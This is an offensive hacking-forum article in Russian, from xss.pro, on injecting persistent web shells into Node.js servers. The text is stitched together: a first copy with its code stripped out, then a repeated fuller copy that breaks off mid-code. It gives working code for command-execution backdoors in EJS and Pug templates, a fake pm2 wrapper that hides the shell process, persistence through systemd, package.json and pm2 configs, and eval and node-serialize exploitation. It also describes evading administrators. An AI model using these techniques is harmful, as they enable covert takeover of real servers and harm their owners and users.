Автор petrinh1988
Источник https://xss.pro
Всем привет!
Что делать с PHP-шеллами, в большинстве случаев, абсолютно понятно — загрузил и пользуй. Но что, если подобный подход не прокатит? Если проект написан на Node.js и на сервере отсутствует хоть какая-то поддержка обработки PHP-кода для веб и т.п. Здесь уже нужно креативить, разбираться с тем как работает веб-приложение и придумывать вариант инъекции. Об этом и будем говорить. Статья про то, как можно внедрить свой веб-шелл на сервер или веб-приложение. Всего получилось 12 техник внедрения.
Исходить буду из того, что у вас уже появился какой-то доступ серьезного уровня к серверу, а webshell нужен как вариант быстрого восстановления контроля над сервером. Некоторые техники могут быть доступны и без RCE, но чаще всего требуется какой-то более-менее серьезного уровня доступ.
Что касается практики. В примерах используются простейшие приложения, написанные на коленке или вовсе с помощью ИИ. Приложения написанные на базе Javascript, в виду полной вседозволенности и анархичности, бывают очень разными. В силу популярности языка, пишут на нем люди с совершенно разной подготовкой. Поэтому пытаться выстроить какой-то рабочий проект смысла просто нет. При желании, всегда можно найти на Github большое количество примеров и пет-проектов.
Очередным нюансом будет то, где и как развернуто приложение. Отталкиваться буду от того, что используется VDS/VPS. Те же PaaS, вроде Хероку, во многом ограничивают наши возможности, в чем-то расширяют, но в целом это не тема статьи.
Запущен проект напрямую через Node или менеджер типа PM2, в целом роли не играет, кроме некоторых вариантов инъекций, но здесь будет понятно из контекста. .
Вместо “file” имя файла кэш которого нужно сбросить.
Но это не решает второй проблемы — настройки сервера. При запуске приложения экземпляр сервера запоминает конфигурацию, а маршруты попадают в _router.stack и в дальнейшем используются они. Чтобы внести изменения в маршруты нужен доступ к объекту сервера. Либо, если разработчик зачем-то создал метод с динамической загрузкой маршрутов. Например, приложение подразумевает динамическую подгрузку модулей с собственными эндпоинтами, тогда остается понять как реализован механизм и использовать способ из раздела о работе с маршрутами. Если подобного нет, то все… И способ обойти эти ограничения мне неизвестен. Даже если изменить один из существующих маршрутов, дописав в него нужный функционал, ничего не произойдет без перезапуска.
Если конечно, нам не попался проект на котором не очень умный разработчик запустил все через nodemon. Тогда у нас вообще не возникает никаких проблем, просто внесли изменения и сразу пользуемся, если не затупили и не создали нерешаемых проблем. Вероятность подобного не нулевая, но крайне-крайне низкая.
Чем плох перезапуск проекта? Первое, но не самое страшное, лишние следы. Гораздо опаснее, когда ваш код наглухо ломает проект. Или не ваш код… просматривая логи таргетов, диву даешься какую часть занимают следы коллег.
Инъекций, которые в Node-проектах не потребуют перезагрузки, не так уж и много. Мне в голову приходит всего несколько вариаций:
В примере есть откровенная заглушка в виде:
Но на то он и пример. В практике, все будет немного хитрее, но почти всегда можно найти возможность воспользоваться существующими параметрами.
Для начала просто посмотрим, что будет если исправить шаблон на запущенном проекте. Так как мне доступен терминал с запущенным процессом, буду просто выводить в консоль. В index.ejx добавлю строчку:
Отлично, шаблон не кэшируется и мы сходу видим результат. В реальной жизни, можно также сделать аккуратный вывод. Например, тупо вписать комментарий:
Добавлю проверку на наличие команды от атакующего, если она есть то выполняем её на сервере. Для этого используем объект global, через который подключим “child_process” и синхронно выполним команду. Синхронно, так как иначе к моменту выполнения команды, в любом случае, страница будет отрендеренная и ничего не получится:
Это приложение у меня запущено на Windows, поэтому запрос будет по такому пути:
Хорошо, с EJS это прекрасно работает, так как он по-умолчанию не имеет никакого кэширования и т.д. Что, например, с Pug? Тоже вполне юзабельный шаблонизатор. Для теста возьмем подобное легковесное приложение, но в данном случае обойдемся без хука с передачей всех параметров GET-запроса. Так сказать, чуток приблизим к реальности. Само приложение может выглядеть так:
Инъекцию вебшелла будем делать в шаблон user.pug. В него у нас передается идентификатор. Да, в этом случае “разработчик” не позаботился об очистке ввода. Моя задумка в том, чтобы передавать символ “|”. Если в идентификаторе присутствует этот символ, мы разделим его на две части: сам идентификатор (для корректной работы шаблона) и команда атакующего, которую и нужно выполнить.
Чек, сплит, профит. Теперь, если шаблон в параметре встретит наш спецсимвол, в вывод добавится блок с результатом выполненной команды:
Думаю, идея с шаблонизаторами понятна. Поговорим о параллельном запуске.
Теперь у нас есть простой шелл:
Согласен, палево невероятное. Оговорюсь, что в данном случае оба скрипта запущены из под одного и того же пользователя. При запуске от имени разных пользователей, списки запущенных процессов будут отличаться. Но будем исходить из того, что пользователь у нас один. Часто, достаточно запустить PM2 с параметром --detach и список перестанет вас палить.
Но! Этот параметр доступен не во всех версиях. Изначально параметр использовался для того, чтобы при отключении терминала не отваливался процесс, позже поведение самого PM2 было переписано и бла-бла-бла, длинная история. Короче, работает не всегда и не везде. В этом случае, мы можем поступить, например таким образом. Сначала узнаем где находится наш PM2:
Копируем путь и создадим файл, например, /tmp/fake_pm2/pm2 в который пишем простенький скрипт:
Не забываем указать правильный путь к pm2. Все, что делает скрипт, это передает выполнение реальному pm2 но с сокрытием нашего процесса
Сделаем файл исполняемым:
Делаем экспорт в PATH:
Теперь вывод фильтруется и наш шелл спрятан:
Очевидный косяк, если панелька поддерживает цвета, после grep оформление полностью теряется. Простой альтернативой будет использование sed с принудительным включением цветного вывода, через префикс в виде определения переменной FORCE_COLOR:.
Хотя, конечно же, не стоит забывать про другие команды pm2, Например, если пользователь запустит еще один скрипт или стопнет существующий, нарисуется интересная картинка:
Упс… нужно поработать над скриптом. Думаю разберетесь. Как альтернативу, могу предложить несложный Python-скрипт, который занимается тем же самым. Просто с большим объемом кода)
Останется вызвать
и есть надежда, что веб-шелл будет жить долго и счастливо.
Работает, как автомат калашникова. Но до первой перезагрузки. И виден в ps aux, хотя там будет виден и процесс запущенный через pm2.
Как видно выше, в любом случае нас будет палить указание на node. Даже если мы заморочимся и запустим процесс как сервис через systemd:
Да, в этом случае наш процесс будет прекрасно запускаться при перезапусках, все будет четко работать, но ps aux отлично спалит контору:
Есть два важных момента относительно Windows. Во-первых, в Windows у меня не всегда запускались оба скрипта. Непонимаю, в чем может быть причина и по какому принципу скрипт решает запустить оба или один. Из десятков запусков, всего пару раз запускался только первый, но это происходит.
Второй момент, команда должна выглядеть так:
Обязательно нужно указание флага “/B”, который отправит выполнение в фон. Если этого не сделать, npm постарается создаст два терминала, по одному под каждый скрипт.
Учитывайте, это возможно если сервер вообще воспринимает команды из package.json, Например, при запуске через PM2 команда должна выглядеть как-то так:
При этом, не нужны танцы с бубном, чтобы спрятать шелл из pm2 list, так как оба скрипта будут показаны одной строкой под именем “web-app”.
Второй вариант, когда pm2 запускается с указанием конфига. Например таким:
Код для эксплуатации на примере “ls”:
Что потребуется для организации реверс-шелла? Ничего необычного:
1. Десериализация через node-serialize
2. Возможность неочищенного ввода
Возьмем одно бесполезное веб-приложение, которое нужно только для демонстрации уязвимости. Оно приветствует пользователя вычленяя его имя из JSON-объекта:
Теперь нам нужно выполнить правильный запрос. Выглядеть будет примерно так:
В exploit.json кладем:
Сохраняем, выполняем и видим результат:
Класс, убедимся что на 4444 порту действительно что-то появилось:
Остается выполнять запросы к нашему веб-шеллу, который только что обрел жизнь:
Да, большинство скажет, что проще было запустить реверс-шелл. Если хотите, без проблем, вот пэйлоад для реверс-шелла на 127.0.0.1 порт 1337:
Как добиться перезагрузки нужно подбирать в каждом конкретном случае отдельно. В каких-то случаях, есть возможность нагло самому рестартануть и надеется, что не возникнет проблем. Где-то можно попытаться сгенерировать критическую ошибку, которую админ не обрабатывает, тем самым вынудив админа вмешаться и сделать рестарт. Ну или СИ. Не маленькие, разберетесь)
Сложно спорить с великим разумом, но я бы добавил варианты от себя:
Но это уже вкусовщина. Каждый выберет под себя. Сам код бесхитростный
Если за приложением хоть как-то следят, надеяться на долгую жизнь шелла не приходится, особенно при активной эксплуатации. Пытаться спрятать можно и нужно. Можно взять советы по обфускации, например из этой статьи. Но если код не собран каким-то сборщиком, обфускация наоборот слишком явно будет видна. Как-то восстанавливал человеку сайт, вычищал бэкдоры… даже при быстром пролистывании обфусцированый код в чистых ровных исходниках виден.
Единственный совет, который я бы дал, это добавить в каждый файл хотя бы по пробелу, чтобы был шанс замедлить поиск вредоносного кода. Вдруг админ не станет тупо накатывать приложение из архива.
Если говорить о минусах, если выкатят обнову приложения или восстановят из архива, вообще наплевать будет как хорошо вы спрятали код)))
В express инъекция выглядит так:
Для разнообразия, она же в koa:
Почти братья близнецы, но так часто в Javascript.
Из плюсов то, что будет работать на всех маршрутах веб-приложения. Достаточно накинуть в урл свои параметры, по которым функция поймет что это вы и нужно бы выполнить команду, и все.
Минусы все те же, что и в предыдущем варианте. Фактически ведь, это вариация инъекции кода в маршруты.
Для примера, соберем простое нефункциональное веб-приложение на базе http. Почему не на базе express или другого фреймворка? Все дело в том, что uncaughtException касается исключительно необработанных исключений. Драгими словами, ничем не перехваченные (вне блоков try/catch). А express устроен так, чтобы не допустить краша приложения. Он сам перехватит и обработает необработанное исключение. Ограничение можно обойти, например, если выскочить из синхронности в асинхронность. Пример кода демонстрирующий разницу:
Запускаем пример и выполняем запрос
Итог:
Как видно, express перехватил ошибку и process.on остался не у дел.
Пробуем вызвать асинхронную генерацию ошибки:
Совершенно другой результат. Это говорит нам только о том, что нужно внимательно изучать каждое отдельное приложение, чтобы понимать какой из методов сработает. Именно про это я писал, когда рассуждал о креативности подхода.
Тестовое приложение:
Пробуем, чтобы убедиться, что наш шелл прекрасно работает:
Ключевых момента два:
Обращаю внимание, что с веб-шеллом приходится мудрить. В коде выше я использовал маркер “CMD: “ для выделения команды. Пробросил в ошибку переменную res, для ответа пользователю и т.п. Если бы мы говорили о каком-нибудь реверс-шелле, все было бы гораздо проще. Просто на каждую неперехваченную ошибку генерировать попытку коннекта к нашему серверу и все.
Точно так же, можно прикрепиться не к ошибке, а к отклоненному промису через unhandledRejection. Помните, как объявляются промисы?
Собственно, unhandledRejection отрабатывает, когда результатом промиса будет необработанный reject. Учитывая, что современные веб-приложения активно используют возможности асинхронности, данный подход вполне оправдан. В некоторых случаях, может быть гораздо более перспективным. Реализуется точно так же:
Для вызова, либо найти место где можно выбивать приложение естественно, либо генерировать промис, который всегда будет выкидывать по реджекту.
Жирно подчеркиваю! Оба метода работают с необработанными ситуациями. Вы должны быть уверены, что нет перехватчика события у фреймворка.
В подобных решениях, начинать всегда нужно с сохранения ссылки на оригинальную функцию, Создадим shell.js:
После чего, выполняем саму подмену прототипа.
Код вряд ли нуждается в подробных комментариях. Убедились, что от функции хотят выполнение шелла, получили команду, выполнили, вернули ответ. В завершении вызываем выполнение оригинальной функции.
Остается только код самого веб-приложения:app.js:
“Приложение” просто выводит приветствие. Его задача, запустить сервер и подключить наш shell.js. Обратите внимание, что маршрута /shell не существует. Этот маршрут появляется не на уровне фреймворка, а на уровне обработки события.
Протестируем:
Анархизм JS позволяет нам бесчинствовать на полную катушку, меняя чуть ли не все и вся. Например, чтобы спрятать подключение нашего скрипта, мы можем где-нибудь в коде переопределить require.
Если нужно, можно привязать к конкретному пакету, просто проверяя строковую переменную modulePath.
Меньше слов больше дела. Открываем файл:
Здесь нам нужно найти присвоение app.init. Мы не будем вмешиваться в его работу, пусть остается таким же молодым и красивым. Сделаем переопределение. Сразу после закрывающей скобки, вставляем:
Как и в предыдущем методе, сначала запоминаем ссылку на оригинальную функцию. Вызываем её, после этого навешиваем свой маршрут на роутер. Иногда с этим возникают проблемы, не могу точно сказать по какой причине, но в этом случае можно пойти следующим путем:
Минусы у подхода есть. Один и тот же пакет, в зависимости от версии, может серьезно отличаться.Придется включать голову и внимательно смотреть, куда и чего писать.
Второй минус в обновлении и переустановке пакетов. На этот случай есть какой-никакой вариант в виде postinstall команды в package.json. Подробнее об этом читайте ниже в разделе про обеспечение живучести веб-шеллов.
Минусов у подхода несколько. Во-первых, мы уже должны иметь возможность выполнять команды на сервере, чтобы хоть как-то установить переменную. Во-вторых, требуется доступ, либо к аккаунту из под которого работает веб-приложение, либо нужна возможность прописать переменную глобально. В-третьих, нужно дожидаться запуска node пользователем или найти способ спровоцировать пользователя. В-четвертых, мы хоть и имеем возможность не блокировать event loop, но пока сервер не завершиться, сам процесс node будет продолжать работать. С последним можно справиться, заспавнив параллельный фоновый процесс Node, но лучше не делать без особой необходимости.
Плюсы тоже есть и неплохие. Если мы не спавнили параллельный процесс, вся работа происходит в рамках запущенного пользователем процесса. Соответственно, меньше следов. Второй плюс в том, что наш злой скрипт выполнится при любом способе запуска Node. Не важно, напрямую через node, через PM2, через npm. Скрытность, мне кажется, тоже на уровне. Пока админ додумается залезть в переменные… в общем, если правильно готовить, то может жить долго. Живучесть тоже на уровне, если обновление приложения может убить наши роуты или мидл-функции, то здесь админ может хоть тысячу раз обновить свое веб-приложение, а шелл будет продолжать запускаться и жить.
Самый простой пример, это установить “--require /file/path/evil.js”. В этом случае, Node будет загружать и выполнять код указанного файла. Учитывайте, что путь нужно прописывать абсолютный, никаких относительных путей, так как тогда пользователю будет выкинута ошибка обличающая нас:
Правильная инъекция:
Пример файла evil.js:
Результат работы:
Обратите внимание, что я использовал setImmediate(). Это нужно чтобы не блокировать event loop, иначе удивлению пользователя не будет предела, когда он попытается запустить свой скрипт, а скрипт будет висеть и не выполняться)))
Если шелл нужен надолго, неплохо бы подумать по поводу того, как обеспечить его выживаемость в разных условиях. При обновлении пакетов, восстановлении и прочих условиях. Рассмотрим то, что поможет из доступного конкретно в рамках Node: .npmrc и package.json.
Конфиг может быть трех уровней:
Приоритетность прямо противоположна глобальности. В рамках проекта, приоритет выше локального будет только у прямого указания аргумента в командной строке. Если мы можем в проекте писать в .npmrc, появляются довольно широкие возможности. В рамках статьи, будем работать только с параметром script-shell, который определяет оболочку для выполнения команд npm. Но .npmrc достоен отдельной полноценной статьи, чего только стоит возможность через параметр registry указать собственный репозиторий для npm.
Вернемся к script-shell. Благодаря ему мы можем выполнить любую команду, которую позволяют наши права. Единственное, просто написать команду не получится. Если сделать так:
Мы получим такую ошибку:
Чтобы обойти эту проблему, нужно просто создать в доступном нам месте sh-файл и сделать его исполняемым через chmod +x. Например:
Остается передать его в npm:
Запустим на выполнение команду из package.json. В моем случае это “test::
Результат:
Что будет у вас в этом sh-файл, ограничено только вашей фантазией и правами пользователя, от имени которого произойдет запуск. Можно выкачать с своего сервера файл с командами, организовав удаленное управление или руту добавить ssh-ключ.
Конечно же, один из вариантов использования - это проверка, жив ли ваш код или его уже удалили. Если удалили, пытаемся восстановить его.
Attention!!! Alert!!! Важный момент, касаемо выполнения под sudo, если запустить команду содержащуюся в package.json, будет использован файл лежащий в проекте. Но, если вы попытаетесь привязаться к глобальной установке по типу sudo npm install -g npm@latest. В теории, при глобальном инсталле под sudo, npm должен обращаться к /etc/npmrc, но у меня так и не вышло заставить отработаь конфиг. Возможно, что-то упустил и в подобном запуске конфиги игнорируются.
Кстати, если хотите посмотреть информацию по используемым конфигам, увидеть кто кого перезаписывает, можно выполнить:
Запуск с sudo:
Видно, что в данном случае npm нашел конфиг не только в текущей папке проекта, но и в /root/. Для справки, это копия .npmrc из папки проекта, в процессе тестов для скриншотов закинул туда. Если удалить, из вывода под sudo, пропадет строки с “user” config…” и “overridden…”
Для сравнения, запуск без sudo:
Напишем кусок кода, который будет отслеживать инъекцию в модуль Express, если вдруг её не окажется, то добавить. Ориентироваться буду на комментарий “/** * Initialize application config”, который идет после присвоения app.init.
Результат работы скрипта можно увидеть, если запустить установку пакетов:
Конечно же, вывод оставил только для демонстрации.
Без минусов никуда. Если админ не тугой, рано или поздно заметит довольно странного персонажа в package.json))) Что поделать, ничто не вечно в этом мире))))
Я насчитал 10 отдельных техник, в некоторых не один вариант:
Все ли это техники? Конечно нет. Как минимум, я откинул несколько довольно скучны, чтоыб не перегружать статью, а о скольких я еще не знаю… если у вас есть какие-то свои интересные техники, не стесняйтесь поделиться ими в комментариях.
Источник https://xss.pro
Всем привет!
Что делать с PHP-шеллами, в большинстве случаев, абсолютно понятно — загрузил и пользуй. Но что, если подобный подход не прокатит? Если проект написан на Node.js и на сервере отсутствует хоть какая-то поддержка обработки PHP-кода для веб и т.п. Здесь уже нужно креативить, разбираться с тем как работает веб-приложение и придумывать вариант инъекции. Об этом и будем говорить. Статья про то, как можно внедрить свой веб-шелл на сервер или веб-приложение. Всего получилось 12 техник внедрения.
Исходить буду из того, что у вас уже появился какой-то доступ серьезного уровня к серверу, а webshell нужен как вариант быстрого восстановления контроля над сервером. Некоторые техники могут быть доступны и без RCE, но чаще всего требуется какой-то более-менее серьезного уровня доступ.
Что касается практики. В примерах используются простейшие приложения, написанные на коленке или вовсе с помощью ИИ. Приложения написанные на базе Javascript, в виду полной вседозволенности и анархичности, бывают очень разными. В силу популярности языка, пишут на нем люди с совершенно разной подготовкой. Поэтому пытаться выстроить какой-то рабочий проект смысла просто нет. При желании, всегда можно найти на Github большое количество примеров и пет-проектов.
Очередным нюансом будет то, где и как развернуто приложение. Отталкиваться буду от того, что используется VDS/VPS. Те же PaaS, вроде Хероку, во многом ограничивают наши возможности, в чем-то расширяют, но в целом это не тема статьи.
Запущен проект напрямую через Node или менеджер типа PM2, в целом роли не играет, кроме некоторых вариантов инъекций, но здесь будет понятно из контекста. .
Проблема №1 — перезагрузка проекта
В большинстве случаев, мы столкнемся с одной и той же проблемой — необходимости перезагрузить работающий проект. И причины этому две. Node.js кэширует файлы и работает не с исходниками, а с тем что уже подтянул. Об изменениях в файле Node ничего не узнает. Это можно попытаться обойти сбросив кэш подобным образом:
JavaScript:
delete require.cache[require.resolve('file')];
Вместо “file” имя файла кэш которого нужно сбросить.
Но это не решает второй проблемы — настройки сервера. При запуске приложения экземпляр сервера запоминает конфигурацию, а маршруты попадают в _router.stack и в дальнейшем используются они. Чтобы внести изменения в маршруты нужен доступ к объекту сервера. Либо, если разработчик зачем-то создал метод с динамической загрузкой маршрутов. Например, приложение подразумевает динамическую подгрузку модулей с собственными эндпоинтами, тогда остается понять как реализован механизм и использовать способ из раздела о работе с маршрутами. Если подобного нет, то все… И способ обойти эти ограничения мне неизвестен. Даже если изменить один из существующих маршрутов, дописав в него нужный функционал, ничего не произойдет без перезапуска.
Если конечно, нам не попался проект на котором не очень умный разработчик запустил все через nodemon. Тогда у нас вообще не возникает никаких проблем, просто внесли изменения и сразу пользуемся, если не затупили и не создали нерешаемых проблем. Вероятность подобного не нулевая, но крайне-крайне низкая.
Чем плох перезапуск проекта? Первое, но не самое страшное, лишние следы. Гораздо опаснее, когда ваш код наглухо ломает проект. Или не ваш код… просматривая логи таргетов, диву даешься какую часть занимают следы коллег.
Инъекций, которые в Node-проектах не потребуют перезагрузки, не так уж и много. Мне в голову приходит всего несколько вариаций:
- Используется шаблонизатор
- Параллельный запуск
- Зачем-то в коде используется eval и мы можем им воспользоваться
Шаблонизаторы
Часто можно наткнуться на ситуацию, когда шаблоны не кэшируются. Для примера возьмем простейший код приложения с использованием EJS.
JavaScript:
const express = require('express');
const app = express();
const port = 3000;
app.set('view engine', 'ejs');
app.set('views', './views');
const users = [
{ id: 1, name: 'Алексей', email: 'alex@example.com' },
{ id: 2, name: 'Мария', email: 'maria@example.com' },
{ id: 3, name: 'Иван', email: 'ivan@example.com' }
];
app.use((req, res, next) => {
res.locals.queryParams = {...req.query};
next();
});
app.get('/', (req, res) => {
res.render('index', {
title: 'Главная страница',
users: users
});
});
app.listen(port, () => {
console.log(`Сервер запущен на http://localhost:${port}`);
});
JavaScript:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><%= title %></title>
<style>
body { font-family: Arial, sans-serif; }
.user { margin: 10px; padding: 10px; border: 1px solid #ddd; }
</style>
</head>
<body>
<%- include('header') %>
<main>
<%- body %>
</main>
</body>
</html>
JavaScript:
<header>
<nav>
<a href="/">Главная</a>
</nav>
</header>
JavaScript:
<h1>Список пользователей</h1>
<% if (users.length) { %>
<% users.forEach(user => { %>
<div class="user">
<h3><%= user.name %></h3>
<p>Email: <%= user.email %></p>
</div>
<% }) %>
<% } else { %>
<p>Пользователи не найдены</p>
<% } %>
В примере есть откровенная заглушка в виде:
JavaScript:
res.locals.queryParams = {...req.query};
Но на то он и пример. В практике, все будет немного хитрее, но почти всегда можно найти возможность воспользоваться существующими параметрами.
Для начала просто посмотрим, что будет если исправить шаблон на запущенном проекте. Так как мне доступен терминал с запущенным процессом, буду просто выводить в консоль. В index.ejx добавлю строчку:
JavaScript:
<% console.log('Hello') %>
Отлично, шаблон не кэшируется и мы сходу видим результат. В реальной жизни, можно также сделать аккуратный вывод. Например, тупо вписать комментарий:
JavaScript:
<!-- I'm vulnerability -->
Добавлю проверку на наличие команды от атакующего, если она есть то выполняем её на сервере. Для этого используем объект global, через который подключим “child_process” и синхронно выполним команду. Синхронно, так как иначе к моменту выполнения команды, в любом случае, страница будет отрендеренная и ничего не получится:
Код:
<% if (locals.queryParams.__cmd) { %>
<pre>
<%= global.process.mainModule.require('child_process')
.execSync(locals.queryParams.__cmd).toString() %>
</pre>
<% } %>
Это приложение у меня запущено на Windows, поэтому запрос будет по такому пути:
Код:
http://localhost:3000/?__cmd=dir
Хорошо, с EJS это прекрасно работает, так как он по-умолчанию не имеет никакого кэширования и т.д. Что, например, с Pug? Тоже вполне юзабельный шаблонизатор. Для теста возьмем подобное легковесное приложение, но в данном случае обойдемся без хука с передачей всех параметров GET-запроса. Так сказать, чуток приблизим к реальности. Само приложение может выглядеть так:
JavaScript:
const express = require('express');
const app = express();
const port = 3000;
app.set('view engine', 'pug');
app.set('views', './views');
const users = [
{ id: 1, name: 'Алексей', email: 'alex@example.com' },
{ id: 2, name: 'Мария', email: 'maria@example.com' },
{ id: 3, name: 'Иван', email: 'ivan@example.com' }
];
app.get('/user/:id', (req, res) => {
res.render('user', {
title: 'Профиль пользователя',
userId: req.params.id,
users: users
});
});
app.get('/', (req, res) => {
res.render('index', {
title: 'Главная страница',
users: users
});
});
app.listen(port, () => {
console.log(`Сервер запущен на http://localhost:${port}`);
});
JavaScript:
extends layout
block content
h1 Список пользователей
if users.length
each user in users
.user
h3= user.name
p Email: #{user.email}
else
p Пользователи не найдены
JavaScript:
header
nav
a(href="/") Главная
JavaScript:
doctype html
html(lang="ru")
head
meta(charset="UTF-8")
meta(name="viewport", content="width=device-width, initial-scale=1.0")
title= title
style.
body { font-family: Arial, sans-serif; }
.user { margin: 10px; padding: 10px; border: 1px solid #ddd; }
body
include header
main
block content
JavaScript:
extends layout
block content
- let cleanId = userId
- const user = users.find(u => u.id == cleanId)
if user
h1 Профиль пользователя
.user
h3= user.name
p ID: #{user.id}
p Email: #{user.email}
else
p Пользователь не найден
if hasInjection && command
h3 Результат выполнения команды:
pre= result
Инъекцию вебшелла будем делать в шаблон user.pug. В него у нас передается идентификатор. Да, в этом случае “разработчик” не позаботился об очистке ввода. Моя задумка в том, чтобы передавать символ “|”. Если в идентификаторе присутствует этот символ, мы разделим его на две части: сам идентификатор (для корректной работы шаблона) и команда атакующего, которую и нужно выполнить.
JavaScript:
- const hasInjection = userId.includes('|')
- let command = null
if hasInjection
- [cleanId, command] = userId.split('|')
- const childProcess = process.mainModule.require('child_process')
- const result = childProcess.execSync(command).toString()
pre= result
hr
Чек, сплит, профит. Теперь, если шаблон в параметре встретит наш спецсимвол, в вывод добавится блок с результатом выполненной команды:
Думаю, идея с шаблонизаторами понятна. Поговорим о параллельном запуске.
Параллельный запуск
Если у нас есть полноценный RCE, почему бы не положить рядом файл и не запустить его параллельно основному приложению? Без сомнений, важно чтобы были открытые порты и “слеповатый” администратор, а еще у пользователя должны быть права. Но что может быть проще? Например, если на сервере все запущено через PM2, взять простейший шелл из этой темы и запустить его на порту 3001:
Bash:
pm2 start shell.js
Теперь у нас есть простой шелл:
Согласен, палево невероятное. Оговорюсь, что в данном случае оба скрипта запущены из под одного и того же пользователя. При запуске от имени разных пользователей, списки запущенных процессов будут отличаться. Но будем исходить из того, что пользователь у нас один. Часто, достаточно запустить PM2 с параметром --detach и список перестанет вас палить.
Но! Этот параметр доступен не во всех версиях. Изначально параметр использовался для того, чтобы при отключении терминала не отваливался процесс, позже поведение самого PM2 было переписано и бла-бла-бла, длинная история. Короче, работает не всегда и не везде. В этом случае, мы можем поступить, например таким образом. Сначала узнаем где находится наш PM2:
Bash:
which pm2
Копируем путь и создадим файл, например, /tmp/fake_pm2/pm2 в который пишем простенький скрипт:
Bash:
#!/bin/bash
if [[ $1 == "list" ]]; then
/usr/local/bin/pm2 list | grep -v "shell.js"
else
/usr/local/bin/pm2 "$@"
fi
Не забываем указать правильный путь к pm2. Все, что делает скрипт, это передает выполнение реальному pm2 но с сокрытием нашего процесса
Сделаем файл исполняемым:
Bash:
chmod +x /tmp/fake_pm2/pm2
Делаем экспорт в PATH:
Bash:
export PATH=/tmp/fake_pm2/:$PATH
Теперь вывод фильтруется и наш шелл спрятан:
Очевидный косяк, если панелька поддерживает цвета, после grep оформление полностью теряется. Простой альтернативой будет использование sed с принудительным включением цветного вывода, через префикс в виде определения переменной FORCE_COLOR:.
Bash:
#!/bin/bash
REAL_PM2="/usr/local/bin/pm2"
if [[ "$1" == "list" ]]; then
FORCE_COLOR=1 $REAL_PM2 list | sed '/shell/d'
else
FORCE_COLOR=1 $REAL_PM2 "$@"
fi
Хотя, конечно же, не стоит забывать про другие команды pm2, Например, если пользователь запустит еще один скрипт или стопнет существующий, нарисуется интересная картинка:
Упс… нужно поработать над скриптом. Думаю разберетесь. Как альтернативу, могу предложить несложный Python-скрипт, который занимается тем же самым. Просто с большим объемом кода)
Python:
#!/usr/bin/env python
import subprocess
import sys
import os
def run_original_pm2(args):
proc = subprocess.Popen(["/usr/local/bin/pm2"] + args, stdout=subprocess. PIPE,stderr=subprocess.PIPE, env={"FORCE_COLOR": "1", **os.environ})
output = proc.communicate()[0].decode("utf-8")
return output
def hide_shell(output):
lines = output.split("\n")
new_output = [line for line in lines if "shell" not in line]
return "\n".join(new_output)
if __name__ == "__main__":
args = sys.argv[1:]
pm2_output = run_original_pm2(args)
filtered_output = hide_shell(pm2_output)
sys.stdout.buffer.write(filtered_output.encode('utf-8'))
Останется вызвать
Bash:
pm2 startup && pm2 save
и есть надежда, что веб-шелл будет жить долго и счастливо.
Параллельный запуск без PM2
Если нам не подходит вариант с PM2 или мы не можем его использовать, можно пойти самым простым путем через nohup:
Bash:
nohup node shell.js > /dev/null 2>&1 &
Работает, как автомат калашникова. Но до первой перезагрузки. И виден в ps aux, хотя там будет виден и процесс запущенный через pm2.
Как видно выше, в любом случае нас будет палить указание на node. Даже если мы заморочимся и запустим процесс как сервис через systemd:
Bash:
sudo tee /etc/systemd/system/good_app.service <<EOF
[Unit]
Description=Hidden Node.js App
After=network.target
[Service]
User=nobody
WorkingDirectory=/tmp
ExecStart=/usr/bin/node /tmp/shell.js
Restart=always
Environment="PORT=3001"
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl start good_app
Да, в этом случае наш процесс будет прекрасно запускаться при перезапусках, все будет четко работать, но ps aux отлично спалит контору:
Внедрение в package.json
Не нужно забывать про вариант прописать параллельный запуск в команду package.json. Сервер должен быть сконфигурирован так, чтобы учитывать скрипты из package.json, иначе всё тлен. Например,
JSON:
"scripts": {
"start": "node app.js & node shell.js"
},
Есть два важных момента относительно Windows. Во-первых, в Windows у меня не всегда запускались оба скрипта. Непонимаю, в чем может быть причина и по какому принципу скрипт решает запустить оба или один. Из десятков запусков, всего пару раз запускался только первый, но это происходит.
Второй момент, команда должна выглядеть так:
JSON:
"start": "start /B node shell.js & start /B node index.js"
Обязательно нужно указание флага “/B”, который отправит выполнение в фон. Если этого не сделать, npm постарается создаст два терминала, по одному под каждый скрипт.
Учитывайте, это возможно если сервер вообще воспринимает команды из package.json, Например, при запуске через PM2 команда должна выглядеть как-то так:
Bash:
pm2 start npm --name "web-app" -- start
При этом, не нужны танцы с бубном, чтобы спрятать шелл из pm2 list, так как оба скрипта будут показаны одной строкой под именем “web-app”.
Второй вариант, когда pm2 запускается с указанием конфига. Например таким:
JSON:
module.exports = {
apps: [
{ name: "app", script: "app.js" },
{ name: "shell", script: "shell.js" }
]
};
eval
Как внедрить шелл параллельно основному веб-приложению более-менее разобрались. У нас остался третий способ организации себе веб-шелла через функцию eval(), В целом, здесь и обсуждать нечего, так как возможность беспрепятственно использовать eval это и есть практически полноценный веб-шелл, пусть и не всегда удобный. Простое приложение для демонстрации:
JavaScript:
const express = require('express');
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true }));
app.get('/', (req, res) => {
res.send(`
<form method="POST" action="/eval">
<input type="text" name="code" placeholder="Enter JS code">
<button type="submit">Execute</button>
</form>
`);
});
app.post('/eval', (req, res) => {
const userCode = req.body.code;
try {
const result = eval(userCode);
res.send(`<pre>Result: ${result}</pre>`);
} catch (e) {
res.send(`<pre>Error: ${e.message}</pre>`);
}
});
app.listen(3000, () => console.log('Server running on http://localhost:3000'));
Код для эксплуатации на примере “ls”:
JavaScript:
require('child_process').execSync('ls').toString()
Eval через десериализацию в node-serialize
Использование разработчиком уязвимых пакетов в своих Node-проектах, дает неплохой шанс организовать веб-шелл. Это касается процесса десериализации через пакет node-serialize, в котором есть интересный маркер $$ND_FUNC$$. Уникальность маркера в том, что он указывает node-serialize, что передается не строка, а функция. Пакет фактически выполняет eval для значения свойства JSON-объекта. Соответственно, мы получаем довольно неплохую дырку в обороне цели.Что потребуется для организации реверс-шелла? Ничего необычного:
1. Десериализация через node-serialize
2. Возможность неочищенного ввода
Возьмем одно бесполезное веб-приложение, которое нужно только для демонстрации уязвимости. Оно приветствует пользователя вычленяя его имя из JSON-объекта:
JavaScript:
const express = require('express');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const app = express();
app.use(bodyParser.json());
app.post('/deserialize', (req, res) => {
const serializedData = req.body.data;
try {
const obj = serialize.unserialize(serializedData);
res.send(`Объект десериализован. Привет, ${obj.name}!`);
